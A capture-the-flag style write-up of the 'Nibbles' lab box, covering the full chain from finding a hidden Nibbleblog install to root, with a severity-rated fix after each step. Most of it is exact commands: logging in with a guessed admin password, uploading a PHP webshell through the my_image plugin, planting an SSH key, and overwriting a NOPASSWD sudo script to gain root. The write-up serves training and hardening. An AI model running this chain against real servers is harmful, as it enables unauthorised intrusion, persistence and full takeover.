Nibbles
Summary
Browsing the target Apache web server found a hidden Nibbleblog CMS installation hinted at by an HTML comment in the default page. Using a trivially guessable admin password that matched the machine's own hostname, I authenticated to the CMS admin panel and exploited a known file-upload vulnerability to plant a PHP webshell, gaining a foothold as the 'nibbler' service account.
A single misconfigured sudo rule — letting nibbler run a script it freely owned and could overwrite as root, with no password required — handed me complete control of the server.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered, for admin>"Attack path — how the box was taken
Exact commands 3
Fetch default page; HTML source comment reveals /nibbleblog/ path.
$ curl -sS http://$TARGET/Enumerate Nibbleblog sub-paths; confirms admin.php and content/private/ tree.
$ gobuster dir -u http://$TARGET/nibbleblog/ -w /usr/share/wordlists/dirb/common.txt -x php,txtConfirm Nibbleblog version 4.0.3 from the bundled README.
$ curl -sS http://$TARGET/nibbleblog/READMEFixUpgrade or decommission Nibbleblog and block PHP execution in upload directoriesCritical
Exact commands 1
A 302 redirect with a session cookie in Set-Cookie confirms successful authentication.
$ curl -sS -c /tmp/nb_cookies.txt -b /tmp/nb_cookies.txt -X POST http://$TARGET/nibbleblog/admin.php -d "username=admin&password=$PASSWORD" -D -FixReplace weak admin credentials and enable login-attempt throttlingHigh
Exact commands 1
All-in-one: create temp dir, write webshell, authenticate, upload as fake JPEG.
$ tmp=$(mktemp -d); printf '%s\n' '<?php system($_GET["cmd"]); ?>' > "$tmp/image.php"; curl -sS -c "$tmp/c" -b "$tmp/c" -m 8 http://$TARGET/nibbleblog/admin.php >/dev/null; curl -sS -c "$tmp/c" -b "$tmp/c" -m 8 -X POST http://$TARGET/nibbleblog/admin.php -d "username=admin&password=$PASSWORD" >/dev/null; curl -sS -b "$tmp/c" -m 15 -F 'plugin=my_image' -F 'title=My image' -F 'position=4' -F 'caption=' -F "image=@$tmp/image.php;type=image/jpeg" -F 'image_resize=1' -F 'image_width=230' -F 'image_height=200' -F 'image_option=auto' "http://$TARGET/nibbleblog/admin.php?controller=plugins&action=config&plugin=my_image"Exact commands 3
Verify RCE; expect nibbler's uid, username, and hostname.
$ curl -sS -m 8 "http://$TARGET/nibbleblog/content/private/plugins/my_image/image.php?cmd=id;whoami;hostname"
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)Plant my SSH public key via webshell for stable shell access. Replace <YOUR-SSH-PUBKEY>.
$ curl -sS -m 8 'http://'"$TARGET"'/nibbleblog/content/private/plugins/my_image/image.php?cmd=mkdir+-p+/home/nibbler/.ssh+%26%26+echo+"<YOUR-SSH-PUBKEY>"+>>+/home/nibbler/.ssh/authorized_keys+%26%26+chmod+600+/home/nibbler/.ssh/authorized_keys'Connect via SSH using planted key and capture the user flag ( -> <user.txt>).
$ ssh -i ~/.ssh/id_ed25519 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=10 -o BatchMode=yes nibbler@$TARGET 'find / -name user.txt 2>/dev/null -print; cat /home/nibbler/user.txt'Exact commands 3
List all sudo rules for nibbler; identify NOPASSWD entries.
$ ssh -i ~/.ssh/id_ed25519 nibbler@$TARGET 'sudo -l'
(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.shmonitor.sh does not exist yet — it is inside personal.zip, and the sudo rule points at where it will be.
$ ssh -i ~/.ssh/id_ed25519 nibbler@$TARGET 'ls -la /home/nibbler; unzip -o /home/nibbler/personal.zip -d /home/nibbler'After unpacking: nibbler owns the script and the directory holding it, so both can be replaced.
$ ssh -i ~/.ssh/id_ed25519 nibbler@$TARGET 'ls -la /home/nibbler/personal/stuff/monitor.sh && stat /home/nibbler/personal/stuff/'FixRemove the NOPASSWD sudo rule for a user-owned scriptCritical
Exact commands 1
Overwrite the script the rule names, then invoke it through the rule. The sudo entry is NOPASSWD, so nothing is asked for -> <root.txt>
$ ssh -i ~/.ssh/id_ed25519 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=10 -o BatchMode=yes nibbler@$TARGET 'printf "#!/bin/bash\nid\ncat /root/root.txt\n" > /home/nibbler/personal/stuff/monitor.sh && chmod +x /home/nibbler/personal/stuff/monitor.sh && sudo /home/nibbler/personal/stuff/monitor.sh'